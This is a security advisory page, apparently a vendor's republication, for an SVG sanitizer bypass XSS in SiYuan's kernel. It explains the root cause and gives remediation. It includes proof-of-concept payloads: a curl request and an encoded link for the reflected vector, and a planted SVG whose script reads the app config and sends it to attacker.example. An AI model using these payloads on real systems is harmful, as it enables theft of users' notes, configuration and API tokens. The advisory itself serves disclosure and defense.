GHSA-99RQ-75J6-5J9F

GHSA-99RQ-75J6-5J9F is a high-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260714095344-f08dee71ba8e. It is fixed in 0.0.0-20260714095344-f08dee71ba8e.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass

SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.

The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.

The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:

  • Reflected, through a single link: GET /api/icon/getDynamicIcon
  • Stored, through a planted .svg asset: GET /assets/<name>.svg

I confirmed this on a live SiYuan 3.7.2 kernel.

Root cause

util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.

The gap comes from HTML parsing rules that do not exist in XML:

  • <desc> and <title> are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops <foreignObject> but keeps <desc> and <title>.
  • Inside HTML mode, <style>, <xmp> and <noscript> are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a <script> placed inside them, and the render step writes it back exactly as it was.
  • When the browser reads the same bytes as XML (SVG), there is no raw text rule. <style> becomes a normal container and the hidden <script> becomes a real, working SVG script node.

I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:

IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg>                                                     (removed)

IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg>   (kept, runs)

Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:

  • kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml.
  • kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.

Attack vector 1: reflected (one link)

The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.

curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'

The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:

<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>

Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:

http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E

Attack vector 2: stored (planted asset)

Place this file as data/assets/evil.svg:

<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
  .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>

Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.

Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.

Impact

  • A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
  • Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
  • The default AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

GHSA-99RQ-75J6-5J9F has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260714095344-f08dee71ba8e); upgrading removes the vulnerable code path.

Affected versions

github.com/siyuan-note/siyuan/kernel (< 0.0.0-20260714095344-f08dee71ba8e)

Security releases

github.com/siyuan-note/siyuan/kernel → 0.0.0-20260714095344-f08dee71ba8e (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  • Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop <desc>, <title> and <foreignObject> and any raw text smuggled markup.
  • Serve user SVG with Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/* and /api/icon/getDynamicIcon.
  • Escape the reflected content value in getDynamicIcon before it goes into the template.

Frequently Asked Questions

  1. What is GHSA-99RQ-75J6-5J9F? GHSA-99RQ-75J6-5J9F is a high-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260714095344-f08dee71ba8e. It is fixed in 0.0.0-20260714095344-f08dee71ba8e. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is GHSA-99RQ-75J6-5J9F? GHSA-99RQ-75J6-5J9F has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by GHSA-99RQ-75J6-5J9F? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260714095344-f08dee71ba8e is affected.
  4. Is there a fix for GHSA-99RQ-75J6-5J9F? Yes. GHSA-99RQ-75J6-5J9F is fixed in 0.0.0-20260714095344-f08dee71ba8e. Upgrade to this version or later.
  5. Is GHSA-99RQ-75J6-5J9F exploitable, and should I be worried? Whether GHSA-99RQ-75J6-5J9F is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-99RQ-75J6-5J9F is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-99RQ-75J6-5J9F? Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260714095344-f08dee71ba8e or later.

Stop the waste.
Protect your environment with Kodem.